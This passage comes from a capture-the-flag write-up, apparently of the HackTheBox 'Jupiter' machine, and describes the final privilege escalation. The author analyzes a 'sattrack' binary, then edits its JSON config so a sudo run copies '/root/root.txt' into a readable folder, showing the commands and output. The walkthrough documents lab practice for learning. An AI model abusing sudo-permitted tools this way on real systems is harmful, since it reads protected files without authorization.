The string is contained in a variable (looks like well-written code). And finally, we get to the point where the variable is used (for those unfamiliar with ida, right click, reveal the list of references and double-click on one of the instances).
The red arrow identifies that this point is reached following a conditioned jump; we go with the flow and see the check being done. And here it is, the fateful file that is missing on my PC, but which will certainly be present on the BOX. Let's take a look and understand how it works.
Ok, the file also seems absent on the BOX, interesting, maybe I'll have to create it myself, but the internal structure of the json must be understood. Let's go back to the local and try to understand the file structure; meanwhile, let's create the file and see if new messages show up.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ touch /tmp/config.json
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack
Satellite Tracking System
Malformed JSON conf: [json.exception.parse_error.101] parse error at line 1, column 1: syntax error while parsing value - unexpected end of input; expected '[', '{', or a literal
Right, let's try with an empty json.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ echo '{}' >> /tmp/config.json
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ cat /tmp/config.json
{}
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack
Satellite Tracking System
tleroot not defined in config
We immediately enter the requested information.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ echo '{ tleroot: {} }' > /tmp/config.json
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ cat /tmp/config.json
{ tleroot: {} }
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack
Satellite Tracking System
Malformed JSON conf: [json.exception.parse_error.101] parse error at line 1, column 4: syntax error while parsing object key - invalid literal; last read: '{ tl'; expected string literal
It requires a string format, fine, we could go on and on until we die, but let's see if there's a nice and ready example config somewhere.
$ find / -name "config.json" 2>/dev/null
find / -name "config.json" 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
Found (maybe), let's take a look at it.
$ cat /usr/local/share/sattrack/config.json
cat /usr/local/share/sattrack/config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
It seems to be him, let's copy it to the tmp folder and let's understand how it works, but let's try not to disturb the other... users, who are working like us (I don't think the others will have the same concern).
$ cp /usr/local/share/sattrack/config.json /tmp/config.json && /usr/local/bin/sattrack && rm /tmp/config.json
cp /usr/local/share/sattrack/config.json /tmp/config.json && /usr/local/bin/sattrack && rm /tmp/config.json
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
The executable hangs, probably can't reach the listed link... But we do!
http://celestrak.org/NORAD/elements/weather.txt
In any case, some files have been created inside the newly created folder.
$ ls -la /tmp/tle
ls -la /tmp/tle
total 8
drwxrwxr-x 2 jovian jovian 4096 Aug 21 10:47 .
drwxrwxrwt 15 root root 4096 Aug 21 10:52 ..
-rw-rw-r-- 1 jovian jovian 0 Aug 21 10:47 'gp.php?GROUP=starlink&FORMAT=tle'
-rw-rw-r-- 1 jovian jovian 0 Aug 21 10:47 noaa.txt
-rw-rw-r-- 1 jovian jovian 0 Aug 21 10:47 weather.txt
Let's try local.
Woooo... this is amazing. Looking at the contents of the files, we find the contents of the original files that were recovered remotely. Interesting, if it copied the contents of the root flag file...
juno@jupiter:~$ cp /usr/local/share/sattrack/config.json /tmp/config.json
juno@jupiter:~$ vi /tmp/config.json
juno@jupiter:~$ cat /tmp/config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:///root/root.txt"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
Fingers crossed...
$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
Satellites loaded
No sats
$ cat /tmp/tle/root.txt
cat /tmp/tle/root.txt
2******************************a
...and another cup taken home. That's all, folks. See you next BOX as always.